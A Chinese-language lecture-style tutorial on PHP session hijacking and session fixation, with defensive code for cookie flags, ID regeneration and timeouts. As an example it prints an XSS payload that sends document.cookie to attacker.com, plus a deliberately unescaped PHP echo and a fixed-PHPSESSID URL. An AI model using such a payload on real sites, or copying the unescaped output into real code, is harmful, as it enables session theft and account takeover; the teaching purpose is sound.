大家好,欢迎来到今天的“PHP Session安全那些事儿”讲座。今天我们来聊聊PHP Session安全里两个臭名昭著的家伙:Session Hijacking(会话劫持)和 Session Fixation(会话固定)。
咱们先来个热身小故事:
想象一下,你开开心心去银行ATM机取钱,输完密码刚准备点“取款”,突然旁边冒出来一个家伙,一把把你推开,说:“让我来!” 然后他直接在你登录的界面上操作,把你的钱全取走了。这就是Session Hijacking,他抢走了你的“会话”,冒充你干坏事。
然后呢,还有一种更阴险的。这个家伙事先给你递过来一张卡,说:“用这张卡取钱更方便!” 你用了这张卡,结果发现,这张卡已经被他动过手脚,他能通过这张卡监视你的账户,也能随时冒充你登录。这就是Session Fixation,他事先给你准备了一个“会话”,然后等着你上钩。
是不是感觉背后一凉?别怕,今天咱们就来好好扒一扒这两个坏蛋,看看他们是怎么作案的,以及我们该如何保护自己。
第一部分:Session Hijacking (会话劫持)
1. 什么是Session Hijacking?
Session Hijacking,顾名思义,就是劫持你的会话。更准确地说,就是攻击者窃取了你的Session ID,然后利用这个Session ID冒充你,登录到你的账户,进行各种非法操作。
2. Session ID 是什么?
Session ID 是服务器用来识别用户的唯一标识。当你登录网站时,服务器会生成一个Session ID,然后通过Cookie或者URL参数发送给你的浏览器。之后,你的浏览器每次访问网站时,都会带上这个Session ID,服务器就知道你是谁了。
3. Session Hijacking 的常见手段
-
XSS (Cross-Site Scripting) 跨站脚本攻击: 这是Session Hijacking最常见的手段之一。攻击者通过在网站上注入恶意脚本,窃取用户的Cookie,从而获取Session ID。
举个例子:
<?php // 假设这是一个评论页面 $comment = $_GET['comment']; // 从GET参数获取评论内容 // 如果没有对评论内容进行过滤,攻击者可以注入恶意脚本 echo "<p>评论内容:" . $comment . "</p>"; ?>
攻击者可以在
comment
参数里注入如下代码:<script> // 将Cookie发送到攻击者的服务器 window.location.href = "http://attacker.com/steal.php?cookie=" + document.cookie; </script>
这样,当其他用户访问这个页面时,恶意脚本就会执行,将用户的Cookie(包括Session ID)发送到攻击者的服务器。
-
Man-in-the-Middle (MITM) 中间人攻击: 攻击者通过监听网络流量,截获用户的Session ID。这种情况通常发生在用户使用不安全的Wi-Fi网络时。
-
Session ID Prediction 会话ID预测: 如果Session ID的生成算法不够安全,攻击者可能会预测出Session ID,从而冒充用户。
-
Session Sniffing 会话嗅探: 攻击者通过网络嗅探工具,监听网络流量,截获用户的Session ID。
4. 如何防御 Session Hijacking?
-
使用 HTTPS: 这是最重要的一点!HTTPS可以加密网络流量,防止中间人攻击和会话嗅探。
<?php // 强制使用HTTPS if ($_SERVER['HTTPS'] != "on") { $url = "https://". $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']; header("Location: $url"); exit; } ?>
-
HttpOnly Cookie: 设置HttpOnly Cookie,可以防止JavaScript脚本访问Cookie,从而有效防御XSS攻击。
<?php // 设置HttpOnly Cookie session_set_cookie_params([ 'lifetime' => 3600, 'path' => '/', 'domain' => $_SERVER['HTTP_HOST'], 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' // 或 'Lax', 'None' ]); session_start(); ?>
参数 描述 lifetime Cookie的生命周期,单位是秒。 path Cookie的有效路径,通常设置为 /
,表示对整个网站有效。domain Cookie的有效域名,通常设置为 $_SERVER['HTTP_HOST']
,表示对当前域名有效。secure 设置为 true
表示Cookie只能通过HTTPS传输。httponly 设置为 true
表示Cookie不能被JavaScript脚本访问。samesite SameSite Cookie 属性控制 Cookie 如何在跨站点请求中发送。它可以设置为 ‘Strict’、’Lax’ 或 ‘None’。’Strict’ 最安全,但可能会导致用户体验问题。’Lax’ 是一个更宽松的选项。’None’ 需要同时设置 Secure
属性为true
。 -
SameSite Cookie:
SameSite
属性可以防止跨站请求伪造(CSRF)攻击,同时也能在一定程度上防御Session Hijacking。 -
Session ID Regeneration: 每次用户登录、权限变更等重要操作时,都应该重新生成Session ID。
<?php // 用户登录成功后,重新生成Session ID session_regenerate_id(true); // 传递true,删除旧的session文件 ?>
session_regenerate_id()
函数会生成一个新的Session ID,并更新客户端的Cookie。传递true
参数会删除旧的session文件,防止攻击者利用旧的Session ID。 -
Session Timeout: 设置Session的过期时间,防止Session长时间有效,降低被攻击的风险。
<?php // 设置Session过期时间为30分钟 ini_set('session.gc_maxlifetime', 1800); // 设置服务器端Session过期时间 session_set_cookie_params(1800); // 设置客户端Cookie过期时间 session_start(); ?>
-
User-Agent 和 IP 地址验证: 记录用户的User-Agent和IP地址,并在每次请求时进行验证。如果User-Agent或IP地址发生变化,可以认为Session可能被劫持。
<?php session_start(); // 检查User-Agent和IP地址 if (isset($_SESSION['user_agent']) && $_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { // User-Agent不一致,Session可能被劫持 session_destroy(); header('Location: login.php'); exit; } if (isset($_SESSION['ip_address']) && $_SESSION['ip_address'] != $_SERVER['REMOTE_ADDR']) { // IP地址不一致,Session可能被劫持 session_destroy(); header('Location: login.php'); exit; } // 记录User-Agent和IP地址 $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT']; $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR']; ?>
注意: User-Agent和IP地址验证并不是完全可靠的,因为User-Agent可以被伪造,IP地址也可能因为网络环境的变化而改变。所以,这种方法只能作为辅助手段。
-
Web Application Firewall (WAF): 使用WAF可以检测和防御各种Web攻击,包括XSS攻击和Session Hijacking。
第二部分:Session Fixation (会话固定)
1. 什么是Session Fixation?
Session Fixation,也叫会话固定攻击,是指攻击者事先创建一个Session ID,然后诱骗用户使用这个Session ID登录。用户登录后,攻击者就可以利用这个Session ID冒充用户。
2. Session Fixation 的常见手段
-
URL参数: 攻击者通过URL参数传递Session ID。
例如:
http://www.example.com/index.php?PHPSESSID=1234567890
-
Cookie: 攻击者通过设置Cookie来固定Session ID。
例如:攻击者在公共电脑上设置一个Cookie,
PHPSESSID=1234567890
。
3. 如何防御 Session Fixation?
-
Session ID Regeneration: 用户登录前,必须重新生成Session ID。这是防御Session Fixation最有效的方法。
<?php session_start(); // 用户登录前,重新生成Session ID session_regenerate_id(true); // 用户登录成功后... ?>
-
不要接受来自客户端的Session ID: 不要通过URL参数或POST请求接收Session ID。Session ID应该由服务器生成,并通过Cookie发送给客户端。
<?php // 不要这样做! // $session_id = $_GET['PHPSESSID']; // 存在Session Fixation风险 ?>
-
使用 HTTPS: HTTPS可以防止攻击者通过中间人攻击来设置Cookie。
-
设置 Session Cookie 的属性: 设置Session Cookie的
secure
和httponly
属性,可以提高安全性。
总结:
防御手段 | 作用 |
---|---|
使用 HTTPS | 加密网络流量,防止中间人攻击和会话嗅探。 |
HttpOnly Cookie | 防止JavaScript脚本访问Cookie,有效防御XSS攻击。 |
SameSite Cookie | 防止跨站请求伪造(CSRF)攻击,同时也能在一定程度上防御Session Hijacking。 |
Session ID Regeneration | 每次用户登录、权限变更等重要操作时,都应该重新生成Session ID,防御Session Hijacking和Session Fixation。 |
Session Timeout | 设置Session的过期时间,防止Session长时间有效,降低被攻击的风险。 |
User-Agent & IP验证 | 记录用户的User-Agent和IP地址,并在每次请求时进行验证,辅助防御Session Hijacking。 |
WAF | 检测和防御各种Web攻击,包括XSS攻击和Session Hijacking。 |
不接受客户端Session ID | 不要通过URL参数或POST请求接收Session ID,Session ID应该由服务器生成,并通过Cookie发送给客户端,防御Session Fixation。 |
最后,再给大家讲个段子:
一个程序员去面试,面试官问他:“你懂Session吗?”
程序员回答:“懂啊,就是我登录之后,服务器记住我是谁,下次我再来,它还认识我!”
面试官:“那如果有人冒充你呢?”
程序员:“简单!我每次都换个马甲(Session ID),看他还认不认得我!”
面试官:“很好,你被录取了!”
希望今天的讲座对大家有所帮助。记住,安全无小事,保护好自己的Session,才能安心上网冲浪!谢谢大家!